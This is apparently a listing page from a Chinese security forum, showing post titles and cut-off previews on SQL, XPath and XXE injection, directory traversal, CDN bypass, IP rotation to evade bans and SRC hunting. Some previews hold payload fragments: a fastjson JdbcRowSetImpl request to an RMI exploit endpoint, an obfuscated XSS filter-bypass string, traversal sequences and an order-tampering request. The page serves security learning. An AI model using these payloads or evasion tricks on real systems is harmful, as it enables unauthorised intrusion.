论坛首页-讯岚社区

33天前发布30次阅读

POST型SQL注入（字符注入）

概要学习post注入，首先需要知道post传递，post与get注入明显区别在于，get在执行命令后在url中可以看出变化，而post则是在后台...

POST型SQL注入（字符注入）-讯岚社区

POST型SQL注入（字符注入）-讯岚社区

POST型SQL注入（字符注入）-讯岚社区

+3

POST型SQL注入（字符注入）-讯岚社区

2

35天前更新16次阅读

Web技术演化

概要web技术演化经历了网站、数据交互、架构演进、云服务到软件开发等方面的不同阶段。简单网站静态页面Web技术在最初阶段，网站的主要内容是静态的，大多站点托管在ISP上，由文字和图片组成，制作和表现形式也是以表格为主。当时的用户行为也非常简单，基本...

评分

38天前发布17次阅读

目录穿越

概要目录穿越（也被称为目录遍历directory traversalpath traversal）是通过使用等目录控制序列或者文件的绝对路径来访问存储在文件系统上的任意文件和目录，特别是应用程序源代码、配置文件、重要的系统文件等。攻击载荷URL参数../..\..;/Nginx Off by Slas...

1

40天前发布9次阅读

Xpath注入

概要XPath注入攻击是指利用XPath解析器的松散输入和容错特性，能够在 URL、表单或其它信息上附带恶意的XPath 查询代码，以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法，它允许攻击者在事先不知道XPath查询相关知识的情...

评分

42天前发布13次阅读

端口信息

概要各种端口的简介常见端口及其脆弱点FTP (21/TCP) 默认用户名密码 anonymous:anonymous 暴力破解密码 VSFTP某版本后门SSH (22/TCP) 部分版本SSH存在漏洞可枚举用户名暴力破解密码Telent (23/TCP) 暴力破解密码嗅探抓取明文密码SMTP (25/TCP) 无认证时可伪...

评分

39天前更新36次阅读

【渗透测试】IP隐藏防封技巧

01简介在渗透测试中难免会遇到目标针对单个IP进行了请求次数限制或者被蓝队封了IP，下面将介绍一种轮换IP的方式可以有效避免上述...

【渗透测试】IP隐藏防封技巧-讯岚社区

【渗透测试】IP隐藏防封技巧-讯岚社区

【渗透测试】IP隐藏防封技巧-讯岚社区

+7

【渗透测试】IP隐藏防封技巧-讯岚社区

评分

44天前更新16次阅读

端口收集及常见的攻击方式

概要利用工具对端口进行收集，并根据对应服务展开渗透1、端口扫描编辑当确定了目标大概的ip段后，可以先对ip的开放端口进行探测...

端口收集及常见的攻击方式-讯岚社区

端口收集及常见的攻击方式-讯岚社区

端口收集及常见的攻击方式-讯岚社区

端口收集及常见的攻击方式-讯岚社区

1

46天前发布16次阅读

ASN信息

概要ASN(Autonomous System Numbers)自治系统编号。通过域名，可以查询ASN；通过ASN，可以查询属于ASN的所有IP范围。自治系统：a...

1

48天前发布12次阅读

搜索引擎利用

概要恰当地使用搜索引擎（GoogleBingYahooBaidu等）可以获取目标站点的较多信息。搜索引擎处理流程编辑数据预处理长度截断大小写转化去标点符号简繁转换数字归一化，中文数字、数字、罗马字同义词改写拼音改写处理分词关键词抽取非法信息过滤搜索技巧编辑si...

1

51天前发布34次阅读

绕过CDN寻找真实IP

概要CDN的全称是Content Delivery Network，即内容分发网络。CDN是构建在网络之上的内容分发网络，依靠部署在各地的边缘服务器，...

绕过CDN寻找真实IP-讯岚社区

绕过CDN寻找真实IP-讯岚社区

1

52天前发布26次阅读

CDN判断及绕过

概要判断网站是否部署CDN，进行绕过并寻找真实ip1、查找真实ip如果目标网站使用了CDN，使用了cdn真实的ip会被隐藏，如果要查找真...

1

53天前发布15次阅读

edu宝典一些关于edu挖掘的经历

安全课程 20240603113529636-EDU宝典.pdf下载pdf文件10.2M

edu宝典一些关于edu挖掘的经历-讯岚社区

安全常见课程

评分

54天前更新13次阅读

子域名的介绍及收集

1、子域名作用收集子域名可以扩大测试范围，同一域名下的二级域名都属于目标范围。2、常用方式子域名中的常见资产类型一般包括...

1

1个月前发布19次阅读

北山src实战文档各种类型

安全课程 20240531133834236-北山SRC文档.zip下载zip文件97.3M

北山src实战文档各种类型-讯岚社区

北山src实战文档各种类型-讯岚社区

安全常见课程

评分

1个月前发布64次阅读

小迪2024全栈课程笔记文档分享（1-27）

安全课程 20240530223619159-第26天：安全开发-PHP应用模版引用Smarty渲染MVC模型数据联动RCE安全.zip下载zip文件25.2M2024053022364993...

小迪2024全栈课程笔记文档分享（1-27）-讯岚社区

小迪2024全栈课程笔记文档分享（1-27）-讯岚社区

安全常见课程

评分

1个月前更新34次阅读

浅谈物联网安全

讯岚CTF 什么是物联网安全？物联网安全意味着保护互联网设备及其连接的网络免受在线威胁和破坏。这是通过跨设备识别、监控和...

安全名词百科

2

徽章-创作者荣誉勋章-讯岚社区

1个月前发布31次阅读

fastjson绕过waf

1.原请求{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}2.多...

fastjson绕过waf-讯岚社区

fastjson绕过waf-讯岚社区

fastjson绕过waf-讯岚社区

+4

fastjson绕过waf-讯岚社区

2

徽章-创作者荣誉勋章-讯岚社区

1个月前发布16次阅读

越权篡改订单给用户添加未购买的商品

1.注册两个账号，下订单不付款，获取了两个订单号1813918441和181396149POST /aviator/v2/orders/1813918441/add.json?anonymous_id=deac090c-2b05-4402-b33f-468060058145&white_label_key=shipt&segway_version=6668a3d631495cebf307423e23a588c5f9...

2

徽章-创作者荣誉勋章-讯岚社区

1个月前发布26次阅读

xss bypass payload

<details x=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:2 open ontoggle=&#x0000000000061;lert&#x000000028;1111&am...

xss bypass payload-讯岚社区

1

徽章-创作者荣誉勋章-讯岚社区

1个月前发布11次阅读

xxe绕过waf-加多个空格

XML格式允许在格式化标记属性时使用任意数量的空格,因此攻击者可以在<?xml?>或<!DOCTYPE>中插入额外的空格，从而绕...

xxe绕过waf-加多个空格-讯岚社区

1

12 3…9 下一页跳转

社区公告

已加入讯岚社区705天

14

已加入讯岚社区704天

5

已加入讯岚社区704天

2

已加入讯岚社区704天

2

已加入讯岚社区698天

2

已加入讯岚社区688天

2

已加入讯岚社区70天

2

已加入讯岚社区695天

1

已加入讯岚社区695天

1

已加入讯岚社区695天

1

热门板块

热点话题